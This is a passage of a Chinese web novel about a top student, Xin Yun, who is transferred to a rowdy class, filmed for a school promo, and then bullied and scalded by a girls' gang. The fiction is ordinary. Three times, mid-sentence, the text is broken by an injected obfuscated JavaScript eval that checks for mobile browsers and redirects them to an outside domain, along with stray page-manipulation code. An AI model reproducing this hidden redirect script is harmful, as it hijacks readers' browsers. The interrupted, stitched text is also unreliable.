许清和又说:“自从上个学期期末的分班考之后就没见过你了,对了,你现在在哪个班?” 辛蕴抿了抿唇,答:“三班。” 许清和愣了一下,慢慢地“哦”了一声,他一时间似乎不知道该说什么,沉默了一会儿,又说:“昨天物理老师还说到你呢,说他挺想你的,说我们都笨,没你脑子灵活,他还说你之前用数学函数的思路解物理题简直是个天才。” 辛蕴的嘴角扬起一个浅浅的弧度,没有说话。 许清和也察觉到自己刚才这话似乎并不能起到什么安慰的作用,他目光落在辛蕴的脸上,有些着急找补道:“不过我觉得像你这么聪明的人,不管学文还是学理,一定都会取得成功的。” 辛蕴被他的表情和这句没头没脑的话逗笑了,她眉眼弯弯地望着他,说:“什么叫‘成功’?” 考全校第一名就算成功?成为有名的律师和厉害的科学家算成功?还是年薪百万才算成功? 对于辛蕴来说,做自己喜欢的事情,用自己喜欢的方式过一生,这就算是成功。就像她想学文,所以就学了文。虽然这个过程可能会有些曲折,但她并不认为自己失败了。 辛蕴是个清清冷冷的性子,之前在四班的时候就是一副高冷学霸的姿态,谁都不爱搭理,这倒是许清和第一次见到她说这种俏皮话。 他的心没来由地跳漏了一拍,正要开口说话,那边工作人员已经调试好了机器,对着他们喊了一声:“好,大家准备!三、二……一!跑!” 学生们按照之前的要求,一起朝跑道前方跑去,一直跑到规定位置才停了下来,这样来回跑了三次。 那三名工作人员当中的唯一一名女性工作人员应该是这次拍摄工作的负责人,她站在机器后面盯着摄像机里的画面,眉毛微微皱起,似乎有些不满意。 她招招手,其他两个男性工作人员赶紧围了过去,三人一边看回放一边讨论,过了一会儿,一名男性工作人员对着跑道上的学生们说:“你们跑得太松散了,没有高中生那种昂扬向上的朝气,我们再来一次,这次来点激情,记住了吗?” 有学生吐槽了一句:“还‘激情’呢,好不容易有个周末,结果一大早要爬起来跑步,我现在是‘活人微死’还差不多。” 那三名工作人员听到这话也没生气,反而笑出了声,“知道你们怨气大,我们打工人怨气也大,我们三个也想赶紧干完活回家睡觉,所以你们一定要配合我们,赶紧拍完赶紧结束。” 那名女性工作人员打量着十几名学生,想了想,说:“这样吧,我挑几个人站在前面领跑,只要出现在镜头里的人精神状态好,后面的人看起来就都精神了。”说完,她像宠物店里挑小狗似的抱着手臂围着学生们绕了几圈。 辛蕴的目光一不小心和她对了个正着。很显然,身为好学生的辛蕴从来没有回避老师视线的习惯。等她意识到的时候已经晚了。 “小妹妹,你站到前面来。”女工作人员冲辛蕴招了招手。 一时间周围学生的目光都集中了过来。 辛蕴有些尴尬,但也只好听话地站到了队伍的最前面。 阳光斜斜地照下来,将她的影子投射在了塑胶跑道上。一团模糊的黑色轮廓,像一座孤岛。 “还有你,也站到前面来。”好在那名女工作人员很快又点了一个人。 那人走到辛蕴身边,影子落在她的影子上,两个影子慢慢重叠融合,成了一座连绵起伏的岛屿。 辛蕴抬头去看—— 穿着校服的少年低头望着她,冬日的阳光落进他的双眼,那双瞳孔里闪烁着琥珀色的光。 是邬蒙。 辛蕴冲他点点头,算是打过招呼。没有去看邬蒙的反应,她很快就移开了视线,往旁边挪开几步。 那座连绵的岛屿被切割,重新变成了两个相对的孤岛。 那名女工作人员又挑了两个学生过来,分别安插在了两人身边。 “这样好多了。”她双手叉腰,满意地点点头,又叮嘱了四人一句,“你们待会儿跑的时候尽量保持步伐的一致,目光要坚定,眼神千万不能散,动作也要干净利落。”说完,她转身回到摄像机后,比了一个“ok”的手势,说:“我们再来一遍,这次争取一次过。” 好在这一次果然很顺利,大家拍一遍就过了。 三名工作人员收了机器,转身朝着学生们说:“接下来我们去图书馆拍。” 众人从操场出发去图书馆,许清河不知道从哪里挤了过来,手里拿着一瓶矿泉水,拧开瓶盖递给辛蕴,说:“跑累了吧,补补水。” 辛蕴其实根本不渴,但她有些不好意思拒绝对方的好意,便礼貌地道声谢,接过来喝了一小口。 到了图书馆,工作人员安排学生们两两相对坐在书架旁的自习座位上,又从书架上抽出几本书放在他们面前,让他们摆出一副认真写作业的模样。 因为许清和刚才一直和辛蕴走在一起,所以他被安排坐在了她的对面。而邬蒙和另一个陌生的女孩坐在他们后面的一张桌子边。 工作人员调试镜头机位的时间有些长。 辛蕴面前的那本《水泥搅拌机操作手册》实在有些无聊,她翻了几页,抬起头,目光越过许清河和那名陌生女孩的肩膀望向了邬蒙——他手里拿着一支笔,正在纸上认真勾画着什么,看起来倒真是一副好好学生的模样。 隔着一段安全距离,辛蕴现在才能安心地审视起那个人。 不得不承认,邬蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832026|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的气质很突出,明明是一模一样的丑校服,他身上那件校服的材质和版型却好像比旁人高几个档次。衣服衬人,人也衬衣服。 原来这个世界上确实存在着邬蒙这样的人,竟然能把这种结实耐造、宽松如水桶的丑校服穿出一种意气风发的味道。 图书馆的拍摄结束后,下一站是旁边的体育馆。 那名女工作人员又点了几个男生,让他们去篮球场表演打篮球。她似乎对邬蒙青睐有加,手持着摄像机怼着邬蒙的脸拍了几个大特写还不够,又让他单独抱着球站在篮筐下摆了几个酷酷的姿势。 拍了一会儿,她似乎觉得哪里不到位,又从包里找出一瓶发胶,对着邬蒙的头发喷了几下,用手简单抓出一个发型,然后转过头目光在场内逡巡了一圈,最后落在辛蕴的身上。 “把那瓶水拿过来。”她指了一下辛蕴。 辛蕴愣了一下,本能地低下头看着自己手中的那瓶水,这一愣神的功夫,站在她旁边的一个男工作人员已经把她手中的那瓶水拿走了。 他把水交给那名女工作人员,那名女工作人员又把水递给邬蒙,对他说:“待会儿我说‘好’,你就拧开瓶盖,然后仰头喝水,记得吞咽的动作要大,要有一种很渴望的感觉。” 她的表情夸张,动作诙谐,在场的人都笑了起来。 辛蕴却有些笑不出来,她望着邬蒙手里的那瓶水,犹豫了一下,上前几步,对着那名男性工作人员说:“那瓶水我喝过,要不你们还是去学校超市里再买一瓶新的吧。” 听到这话,那名男工作人员回头看向辛蕴,看到少女脸上纠结不安的表情,他冲她摆摆手,一副很不在意的模样,“没事,没事,反正看不出来,又不是拍电影,没有那么严谨。” 辛蕴一怔。 她完全没有想到对方的脑回路竟然和她相差这么大,一时间竟然不知道该怎么开口。 这是看不看得出来的问题吗? 可真要辛蕴去跟眼前的陌生男人去解释什么“男女授受不亲”的话,她又实在说不出口。 辛蕴的脸有些发烫,纠结片刻,正要再说点什么,可那名工作人员很快就跑到摄像机后帮忙调试机器了。 全场所有人的注意力都在篮球场中的邬蒙身上,没有人注意到这边。好像全世界只有她会在意这种微不足道的小事。 “好,全场安静!”那名女工作人员走到了摄像机后,冲邬蒙比了一个“ok”的手势。 辛蕴没办法,只好退到了一旁的观众席。 在众人的注视中,邬蒙拧开手中的那瓶水,没有感受到任何阻力,他愣了一下,目光望向站在场外的辛蕴。 对上了他的视线,她漆黑的眼睫颤了颤。 然而邬蒙的视线很快就转开了。 在少女的凝视下,他将那瓶矿泉水递到嘴边,仰头喝了一大口,绷紧的脖颈线条上,他的喉结上下起伏,像是逆着水流的江心石。 那是另一座小小的岛屿。 6. 第 6 章 拍摄结束后,辛蕴和许清和一起走出学校大门。 午间灿烂明媚的阳光透过头顶的枝叶间隙碎金子一般洒在两人身上。 许清和问:“你接下来打算去哪儿?” 辛蕴抬手看了一眼腕表,上午十一点,现在去补习班应该是来不及了。 虽然昨晚熬到了凌晨,现在眼皮已经在打架,但辛蕴并不准备回家睡觉,而是打算去附近的图书馆预习下一周的课程。 “回家吃饭。”她答。 许清和点点头,语气似乎有些惋惜,说:“这样啊,那我就先走啦。” 两人在一个路口分别。 街道两边种着很多栾树,寒流还没有过去,栾树的枝叶在风中瑟瑟发抖,路面上落满了枯黄的树叶。 辛蕴低头沿着那条路一直往前走,身后突然传来了一阵嬉闹声,她回头去看—— 就见三男一女骑着几辆车从主干道上飞驰而过,阳光斑驳地落在几人身上,他们嘴里唱着一首不知名的歌,欢快昂扬的歌声中夹杂着女生明媚张扬的笑声,还有几声响亮的呼哨声,少年人的恣意潇洒瞬间吸引了所有路人的目光, 辛蕴的目光望向最前方那个骑着山地车背着吉他包的少年,他没有和同伴一样放声高歌,而是将身下的那辆山地自行车蹬得飞快。他的脸上分明没有什么表情,可却莫名让人觉得他此刻的心情应该是很不错的,凛冽的寒风迎面吹过来,将他的校服外套吹得向后飞起来,像是生出了一双翅膀。 栾树的叶子纷纷而落,像少女凌乱的思绪。 辛蕴忽又想起刚才在篮球馆内的情景。 邬蒙当时明明已经发现那瓶水已经被她喝过了,他为什么还能面不改色地继续喝那瓶水呢? 辛蕴当然不会自恋地认为邬蒙是故意想占她便宜。唯一合理的解释或许是邬蒙和那些工作人员一样——他对男女之间这种微妙的距离和分寸并不敏感。她在这里琢磨半天,或许对方压根没有把这当成一件事。 栾树干燥温暖的树叶被她踩在脚下,发出嘎吱嘎吱的脆脆声响。 辛蕴心里忽然生出一种轻松感,既然大家都不在意,那她何必再纠结这件事? 辛蕴用不了多久就把这个小小的插曲彻底抛到了脑后。 周三下午最后一节课是体育课,辛蕴跑完八百米,洗了一把脸,回到座位上继续写试卷。 后排的几个女生围在一起聊天,聊天的内容依旧没离开三班的几个风云人物。 三班之所以在全年级乃至全校范围内都“声名远扬”,除了后排有几个经常打架闹事的体育生之外,还有一对被称为一中校草校花的俊男靓女。 俊男指的是邬蒙,靓女则是徐慧敏。 邬蒙就不用说了,关于他的八卦已经被那几个女生翻来覆去地说了好几遍,总结下来就是人长得帅,但是很神秘,他很少来上课,也从来不参与班级的集体活动,明明自带光环,却渐渐活成了一个透明人。 而徐慧敏则刚好相反,她相当高调,脸蛋长得漂亮,性格也火辣,高一一开学她就在三班搞了一个姐妹团,经过一学期的发展,这个姐妹团逐渐壮大,隐隐有成为一中最大的女混混团体的趋势,现在每个班的话题人物几乎都出自这个团体,而徐慧敏则是这些人的头领。 “前天下午徐慧敏把十一班的朱黛给打了,今天朱黛的家长来学校,说要让校长开除徐慧敏,不然就举报一中违规招收借读生。” “算了吧,上学期白秋月那事闹得那么大,那时候都在传徐慧敏要被开除了,最后不也不了了之了嘛。徐慧敏家里有钱,什么都能摆平。” “话说回来,那个朱黛也是胆子大,喜欢谁不好,非要跟徐慧敏抢男朋友,真是想不开。” 几个女孩围在一起叽叽喳喳的。 辛蕴一心二用,一边解数学题一边听八卦,思路倒也还算流畅。她写完半张试卷,正要翻页,班长王嘉禾走过来敲了敲她的桌子,说:“史老师让我们去他办公室开会。” 辛蕴点点头,放下笔站了起来,跟着王嘉禾她们一起朝办公室的方向走。 史振邦最近不知道是受了什么刺激,不仅连续几个晚自习早早到教室里坐堂,还一反常态地训斥了几个在班里吵闹喧哗的学生。 “你猜史老师把我们仨叫过去是为了什么?” 听到声音,辛蕴转头去看,和她搭话的是学习委员汪玲玲。 辛蕴正思考着刚才试卷上的那道大题还有没有第二种解题思路。她对汪玲玲这个问题的答案其实并不感兴趣,但对这个人还算有好感,于是顺着对方的话问:“为了什么?” 汪玲玲凑了过来,似乎想说点什么,但被旁边的王嘉禾看了一眼,又缩了缩脖子,语气中既有神秘也有戏谑,说:“待会儿进去你就知道了。” 看两人这模样,辛蕴倒是真被勾起了几分好奇心。 到了办公室门口,三个女生推门进去。 史振邦坐在办公桌后,神情和往日有些不同,他眉头皱紧,表情严肃,“今天有个重要的事情想和你们三个商量一下。” 没等三人说话,他板着一张脸,继续道:“我相信你们也知道我们三班的问题学生比较多,这些问题学生影响了我们班级的整体气氛和学习环境,这样下去是绝对不行的。高一上学期还没有分班,所以我也没太管,现在分班结束了,我打算好好整顿班风。” 整顿班风?辛蕴抬眼去看坐在对面的史振邦。 史振邦的神情很认真,不像是在开玩笑。 她心头微微一热。 史振邦这是终于觉醒了?如果是这样那就太好了,以后她再也不用晚自习戴着耳塞写作业了。 虽说这些天辛蕴已经在尽力让自己适应这个新环境,但谁又真的想高中三年都生活在一个菜市场似的的班级里呢? 学生们听课的状态会极大地影响老师上课的状态,辛蕴已经察觉到好几个任课老师踏进三班的时候都掩饰不住神情里的嫌弃和无奈。在这样的情况下,就算她课下再努力,也弥补不了课堂那几十分钟的缺失。 任何身在集体里的人都不可避免地会被集体所影响,辛蕴感觉到三班这个集体就像一条缠在她身上的纤绳,她越是想往前,那条纤绳给她的阻力越大。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832027|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且不光是辛蕴一个人,这段时间以来她注意到班上也有好几个学生会在晚自习的时候戴上耳塞做作业,还有几个坐在后排的同学上课听不清老师的声音会露出又急又气又无奈的神情,这些表现说明他们也是深受其害的。 辛蕴自认底子好,自律性强,学习能力也出众,但她仍然不可避免地会受到影响,更别提那些成绩中等的学生了。 用四班班主任的话来说,就是——“对于你们很多成绩中等的同学来说,高中三年,有时候一个滑坡就是永远的滑坡了”。 而那些“滑坡”,他们本来完全是可以避免的。 辛蕴相信如果能改变三班的现状,对这个班里的每个同学来说都是一件好事。 “你们三个是班干部,平时在班里接触的学生多,对班里的几个刺头也比我们老师了解得多,你们有没有什么好的建议?”史振邦问。 在场的三个班干部中除了辛蕴这个空降的副班长,班长王嘉禾和学习委员汪玲玲都是三班的“原住民”。要论对于班上同学的熟悉度,辛蕴当然比不上她们。 很显然,史振邦也清楚这一点,他先是看着王嘉禾,问:“最近冯强还跟人打架吗?对于后面几个老是打架斗殴的体育生你有什么建议吗?” 王嘉禾脸上的神情有些犹豫,说:“我坐在前面,对他们几个坐在后面的学生不太清楚。” 史振邦看了她一眼,又转头去问汪玲玲:“我听说班上有不少同学早恋,还有人晚自习在走廊里谈情说爱,你有听说过吗?” 汪玲玲低着头,看不清脸上的表情,过了几秒钟,闷声答:“晚自习我一般都留在座位上写作业,不太清楚外面的情况。” 史振邦又看向辛蕴。 辛蕴正要开口说话,衣袖突然被人牵了牵,她转头去看,汪玲玲那双圆圆的大眼睛正盯着史振邦手里的茶水杯,她长长的睫毛轻轻眨了眨,似乎只是不小心碰到了辛蕴。 辛蕴收回视线,心里有点疑惑,但这些天以来积压在她心头的那些阴霾还是让她直言不讳地开了口:“整顿班风不是一天两天就能完成的事,不如先制定几条班规,对全班学生一视同仁地进行约束,至于那几个刺头学生,到时候他们要是违反了班规再对他们进行处罚。” “抓那些刺头学生当典型的方法虽然快,但却治标不治本,而且很可能会让他们形成一种破罐子破摔的心态。只有把那些刺头学生当成普通学生一样,统一用班规进行约束,长久下来才能让三班的学风和班风越来越好。到时候这个集体里的每一个人都能受益。” 史振邦没想到辛蕴会说出这番话来,他愣了一下,脸上的表情显得有些意外,想了想,又问:“关于班规你有什么想法吗?” 这个倒是简单,以前四班的黑板旁边就贴着一张满满当当的班规,辛蕴看了一学期,早就能倒背如流。 她按照记忆背了几条给史振邦听,史振邦边听边点头,最后他似乎也被辛蕴的发言激励到了,表情变得激动,当即一拍桌子敲定:“那就这么办!我先把班规贴出来,然后过几天晚自习的时候再开个集体班会!” 7. 第 7 章 邬蒙赶到高铁站的时候,列车早已经开始检票了,四人赶在闸机关闭的前一分钟挤了进去。 “差点迟到!跑得我差点窒息了!”丁丁一屁股坐在座位上,长长地舒出一口气,又转头看着坐在他旁边的邬蒙,嘴里埋冤道:“你去拍那狗屁宣传片又没钱拿,白折腾一趟,差点害我们没赶上高铁!” 旁边的阿祥靠着椅背说不出来话,他又高又胖,平时跑几步都气喘吁吁,更别提刚才一路上的生死时速了,此刻他张着嘴喘着粗气,简直像是一条脱了水的鱼,瞥见邬蒙背包里装着一瓶矿泉水,他想也没想,抽出来拧开瓶盖就要喝。 邬蒙余光瞥见,一把将矿泉水夺了回来,重新塞进了吉他包里。 阿祥哭丧着脸,不可置信地说:“老兄,不至于这么小气吧?” 邬蒙没搭理他,拿出耳机戴上,抱着手臂靠在窗边补觉。 身下的列车发动了,车厢里慢慢安静下来。 网易云的今日推荐播放了一首很安静的钢琴曲,静谧又悠扬的曲调,很容易让人联想到潮湿多雨的春天。 邬蒙睁开眼睛,望着窗外飞驰而过的风景,不知怎么的,他忽然又想起了一双眼睛。那是一双漆黑的、平静的、倔强的、似乎总是弥漫着潮湿雾气的眼睛。 邬蒙总是很难分辨出那双眼睛里蕴含的真实情绪,他也猜不透对方为什么要让工作人员送来一瓶她已经喝过的水。 是不小心搞错了?还是她不在乎这些细枝末节? 邬蒙当时思考不了那么多,那一刻他想的是——如果他此时向工作人员要求换一瓶水,她会不会觉得自己是在嫌弃她? 让一个女生陷入难堪的境地,显然不是邬蒙愿意看到的。 既然她不在意,那么他也不应该表现出在意的样子。 回想起那水的甘甜滋味,邬蒙下意识舔了舔自己的嘴唇。 或许是刚才一路上的狂奔让他有些口干舌燥,整趟旅途中邬蒙很多次想起背包里的那瓶矿泉水。 但他一直没有再去碰那瓶水。 接下来的几天,邬蒙没有去学校。 自从他和史振邦说过自己家里的情况后,对方除了叮嘱他重要的考试不能缺席之外,几乎很少管他。 平时除了和乐队一起接商演,邬蒙还在一家高档餐厅里当驻唱。 今天店里客人多,忙完餐厅那边,已经是凌晨一点了,邬蒙没顾得上吃饭,约了乐队的几个小伙伴去一个废弃的剧院里排练。 后天他们乐队接了一个公司的年会活动,要临时彩排几首欢快喜庆的曲子。 废弃的剧院里没有空调,丁丁冻得手疼,休息的间隙,他猛抽了几根烟,忽地抬起头望着舞台中央那人,道:“那个冰山美人现在成你们学校的名人了,你知道吗?” 邬蒙弹吉他的手顿了一下,转头望着他:“什么意思?” - 下午体育课跑步出了汗,吃完晚饭,辛蕴又洗了一个澡才回到学校。 大概是因为今天下午史振邦的那番话让她对未来两年半的高中生活重新燃起了希望,辛蕴的心情还算不错,去学校的路上她难得绕去了一旁的奶茶店,买了一杯奶茶,捧在手里,一边小口喝着一边晃去了学校。 到了三班的教室,推开门的一瞬间,教室里的所有人都抬头望向了她。 下午放学到晚自习开始之间隔着两个小时,一些住校生和带饭的学生吃完晚饭后就会回到教室,三三两两分成各种各样的小团体,女生们聚在一起聊天、追剧,男生们则是开团打游戏。每天晚自习开始前的这段时光就是他们的狂欢时刻,教室里几乎要吵翻了天。 辛蕴早就见怪不怪,她甚至已经习惯了这种噪音。可今天不一样,一见到她走进来,这些人瞬间安静了下来。 教室里的气氛明显有些诡异,那些人看向她的目光也有些奇怪。 辛蕴有些疑惑,但也不甚在意,她回到自己的座位上,拿出下午没做完的那张试卷,继续埋头解题。 教室里安静了一会儿,片刻后,又响起一阵低低的说话声。 辛蕴没注意听。 过了一会儿,那些说话声渐渐大了起来,一个女同学突然高声道:“一个外班来的,还真把自己当个东西了。” 辛蕴手中的笔顿了一下,抬头去看。 说话的是班里一个平时跟辛蕴没什么交集的女生,她虽然是在和坐在她对面的一个女生说话,但眼神却直勾勾地望着辛蕴的方向,嘴角挂着讽刺的笑,眼里全是不加掩饰的厌恶和敌意。 辛蕴不记得自己有得罪过这个女生,也不太确定对方这莫名其妙的恶意是不是针对自己。在这一方面,辛蕴说不上是木讷还是不在意,比起对方莫名其妙的敌意,她对自己手里正在解的这道解析几何题显然更有兴趣。 第一节课下课,辛蕴照常去开水房接水。 今天吴咏梅准备的是红枣枸杞茶,热腾腾的开水浇进去,红枣的淡淡甜香在安静狭小的开水房里慢慢弥散开来。 辛蕴扭了扭有些酸痛的脖子,望着窗外的月亮发呆。 今晚的月亮很亮,弯刀一样悬挂在天际。 身后传来一阵动静,开水房的门被推开了,一群女生挤进来,排在了辛蕴身后。 辛蕴回过神来,盯着手中的保温杯,见水快要装满了,抬手正要去关开关。这时肩膀突然被身后的人撞了一下,她一个没站稳,身体往前一扑,手背被滚烫的开水淋到,“哐当”一声,手中的保温杯滚落在地,里面的红枣和枸杞洒落一地。 “呀,不好意思!”伴随着对方道歉的声音,辛蕴手背上传来一阵钻心的灼烧感,她顾不上回应对方,赶紧冲到一旁的水龙头前准备冲水。 可是身后的那几个女生却快辛蕴一步站在水龙头前,拦住了她的去路。 辛蕴的手背被针刺了般的疼,她咬牙忍住那种痛感,朝着挡在她面前的女生说:“麻烦借过一下。” “你这个人真没教养,我跟你道歉了,出于礼貌,你应该要说个‘没关系’吧?”身后传来刚才撞她的那个女生不满的声音。 开水房的灯光有些昏暗,辛蕴转头去看,只见一个打扮时髦、妆容精致的女学生正抱着手臂笑眯眯地看着自己。 正是下午后排女生口中那个女混混头子,徐慧敏。 平时两人虽然同在一个班级,可几乎没有交集,更没有起过矛盾,但此刻对方眼里的奚落和敌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832028|175609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意不加掩饰。 辛蕴的心猛然一跳,一种不好的预感在心头弥漫,她环视了一眼开水房内的其他几个女生,她们望向她的眼神和徐慧敏一模一样,显然都是徐慧敏的跟班。 辛蕴勉强稳定心神,冷下一张脸,对着挡在她面前的女生说:“让开。” 徐慧敏抱着手臂看着她,眼里满是嘲讽:“不让又怎么样?怎么,这是你家的路?好学生这么霸道啊?不让我们这些坏学生打开水?” 辛蕴转头盯着徐慧敏的脸,用肯定的语气说:“你是故意的。” 徐慧敏挑挑眉:“好学生别乱冤枉人,我不是诚心和你道歉了吗?” 手背上传来灼热的痛意,让她忍不住倒吸了一口凉气,辛蕴只能微微蜷起手指又松开,以此稍稍缓解那种钻心的痛。 漆黑的地面上洒落一滩红枣和枸杞,像是殷红的血珠。辛蕴弯腰捡起自己的保温杯,抬眼看着徐慧敏,问:“为什么?” 徐慧敏耸耸肩,凑近了些,一字一句地说:“没别的,看不惯贱货。”她脸上的表情天真又残忍,那双涂着亮晶晶眼影的双眼里迸射出最纯粹的恶意。 辛蕴的手有些控制不住地发抖,不知道是因为疼痛,还是因为愤怒和屈辱。 几个女生围住了辛蕴,以一种高高在上的姿态欣赏着她脸上的表情。 辛蕴从来没有被人用这两个字辱骂过,在她的潜意识里,这么赤.裸低俗的辱骂永远不会和自己扯上关系。她家境优渥、品学兼优,从小到大她对自己的要求甚至比长辈对她的要求还要严苛。对面这几乎陌生的女孩怎么敢用这么侮辱性的词汇来否定她的人格? 辛蕴完全被这两个字砸懵了。她良好的教育和美德在这些人最纯粹最原始的恶意面前不堪一击。 一瞬间巨大的屈辱淹没了她。 辛蕴的呼吸变得急迫,她想把手中的保温杯狠狠地砸在那些人的脑袋上,可是理智又强迫着她保持冷静。 辛蕴已经记不起自己是怎么奋力挤出那些人的包围圈,然后狼狈地逃离出那间开水房。 身后传来了徐慧敏讥嘲的声音:“没事吧,手烫坏了写不了作业该怎么办?” 另一个女生大声在笑,说:“你也太不小心了,怎么能撞到好学生呢?人家回头就去跟老师告状了,那我们这些坏学生就要倒霉了。” 辛蕴没有理她们,紧紧地攥着自己的保温杯回到了三班,踏进教室的那一刻,她的目光逡巡了一圈。 教室里的所有人都在看着她,除了两个人, 王嘉禾埋头写着作业,压根没有抬头看她。 汪玲玲的目光和辛蕴碰了个正着,但很快她就若无其事地收回了视线。 辛蕴深吸了几口气,低头朝自己的座位走去。沿途路过的学生都在看她,男生眼里是奚落,女生眼里是憎恶。 人的目光有时候是一种很可怕的利器,辛蕴突然产生了一种错觉,仿佛她不是刚才那场霸凌的受害者,而是应该被批判被嘲笑的无能者。 上课铃声很快敲响,学生们分散开来,回到自己的座位上。 辛蕴还没有平复心情,坐在前面的女生突然回头看着她,说:“你知不知道你要倒霉了?” 8. 第 8 章 辛蕴愣了一下,正要开口询问对方是什么意思。 可下一秒,她看到了女生眼里的幸灾乐祸。 那种冰冷陌生的情绪宛如一个巨石重重地砸了过来,辛蕴闭上嘴,像是受了闷头一击,她脑中从刚才就一直绷紧的某根弦好像在这一刻断了。 手背上的痛已经算不上什么痛,辛蕴的心被一瞬间涌入的疑惑、惶恐、无助和屈辱填满了。 把辛蕴的表情看在眼里,女孩满足地回过头,同往常一样和同桌聊着八卦,只不过这次八卦的中心换了一个名字。 辛蕴。辛蕴。 那天晚上三班的每个人嘴里似乎都在说着这个名字。 后来辛蕴总是会想起那个冬天。 就算是在她成年之后的很多个夜晚,她也还是会在无数个类似的噩梦中惊醒,然后在漆黑的房间里抱着膝盖发呆。 除了手背上多出一道被烫伤的永久疤痕外,她也失去了很多东西,有些属于辛蕴的一些碎片,被永远地留在了那个冬天里。 吴咏梅对辛蕴这几天的早归有些讶异,“怎么最近回来得这么早?作业写完了?” 从初中开始辛蕴就有留在学校写完作业再回家的习惯。最近连续几天的早归实在是反常。 辛蕴没有回答吴咏梅的问题,只是闷头回了自己的房间,然后把自己锁在里面一声不吭。 吴咏梅也没想太多,看到辛蕴这几天总是无精打采,以为是她学习太用功累到了,之后的几天吴咏梅花尽了心思给辛蕴炖补品补身体,可是不管她如何使出浑身解数,辛蕴吃得越来越少了。 这也导致邬蒙再一次见到辛蕴的时候明显觉得她瘦了很多。 辛蕴的体型本就纤瘦,几天不见,她的下巴明显变尖了不少,空荡荡的校服无法贴合地包裹住少女的身体,仿佛一阵冷风随时就可以将她吹倒。 她依旧趴在座位上安静地写着什么,只是神情不似之前专注平静。听到有脚步声靠近,她抬起头目光警惕地看过来,见到他的脸,她愣了一下,似乎有些意外。 邬蒙放下东西坐下来。刚一落座,后排的几个男生就挤了过来跟他打招呼。 这个世界上女人缘好的人不少,男人缘好的人也不少。但邬蒙这个人很神奇,他不管是男人缘还是女人缘都好到离谱。女生们喜欢他,男生们崇拜他。好像他这个人身上天生就存在着一种吸引人的气质。 “你这几天不回来,咱们班里都变天了。” “托某个人的福,我们现在晚自习也不能说话了,简直跟坐牢一样。” 男生们阴阳怪气起来一点不比女生差。 邬蒙顺着对方的视线朝前方望去,看到教室的黑板旁边多出来一张明黄色的彩印纸,上面用红色加粗的字体写着“班规”两个字。他没有多问,只是懒洋洋地打了个哈欠,笑着说:“滚吧你们,别打扰我睡觉。” 邬蒙向来都是这幅浑不吝模样,那几个男生也没在意,简单地聊了几句就离开了。 邬蒙没有去看旁边的辛蕴,也没有跟她说话,不知道是全然没有听到那些关于她的风言风语,还是压根不关心不在意。 他只是安静地趴在桌子上睡了一整个下午。 这让辛蕴松了一口气,更让她庆幸的是——有邬蒙挡在外面,那天下午倒是没有女生围在辛蕴的座位旁冷嘲热讽。 她难得度过了平静的一天。 - 开水房事件发生的第二天早上,辛蕴在校门口堵上了汪玲玲。 当时汪玲玲正挽着朋友的手有说有笑地跨进校园,看到辛蕴朝这边走过来,她愣了一下,扭头就要躲开。 辛蕴出声喊住了汪玲玲,目光沉静又倔强,道:“你不觉得欠我一个解释吗?” 汪玲玲被拦住去路,避无可避,只好开口道:“不关我的事,是王嘉禾,是她告诉班里的人你向老史提议要制定班规。” 辛蕴猜得果然没错,但真正听到这个答案她反而有些不知所措。或许是此刻汪玲玲的表情过于平静和冷漠,辛蕴有些不知道该怎么接话,她低头沉默半晌,问:“她为什么要这么做?” 汪玲玲耸耸肩,说:“她为什么要这么做我不知道。但是现在徐慧敏和冯强他们都觉得你向老史提议制定班规是在故意针对他们。” 辛蕴皱起眉,有些不解,“可是你当时也在场,你应该知道我没有针对任何人的意思。”相反的,当时辛蕴甚至还劝史振邦不要针对那些问题学生,而是一视同仁地按班规进行约束。 “当时的真实情况是一回事,从别人嘴里讲出来又是另一回事了。班规第一条,男生不能在教室里喧哗打闹。王嘉禾说你是故意针对后面几个体育生。班规第二条,女生不能烫染头发。王嘉禾说你是看不惯徐慧敏她们几个女生。一共十二条班规,哪一条不是得罪人?辛蕴,要不是你成绩好,你早被人堵在巷子里打了。” 辛蕴百口莫辩,她捏紧拳头,说:“我去找王嘉禾对质。” 汪玲玲望向辛蕴,不知道是应该同情她的处境还是鄙夷她的天真,“事情已经这样了,你觉得这个还重要吗?你觉得班里的那些人是信王嘉禾还是信你?那些班规不是你向老史提议的?就冲着这一点,大家注定不会喜欢你。” 辛蕴像是被宣判死刑的犯人,一时愣在了那里,她从来不在乎什么同学情谊,可这也不意味着她会享受被所有人讨厌的滋味。 “可是……可是为什么?我是想帮大家……”说到这里,辛蕴似乎也意识到自己的想法有些过于幼稚天真了,但她还是尽力克制住自己的情绪继续说下去:“制定了班规,没了那些乌烟瘴气的东西,班里的学习氛围好了,上课也不吵了,这难道不是一件好事吗?他们为什么要这么讨厌我?” 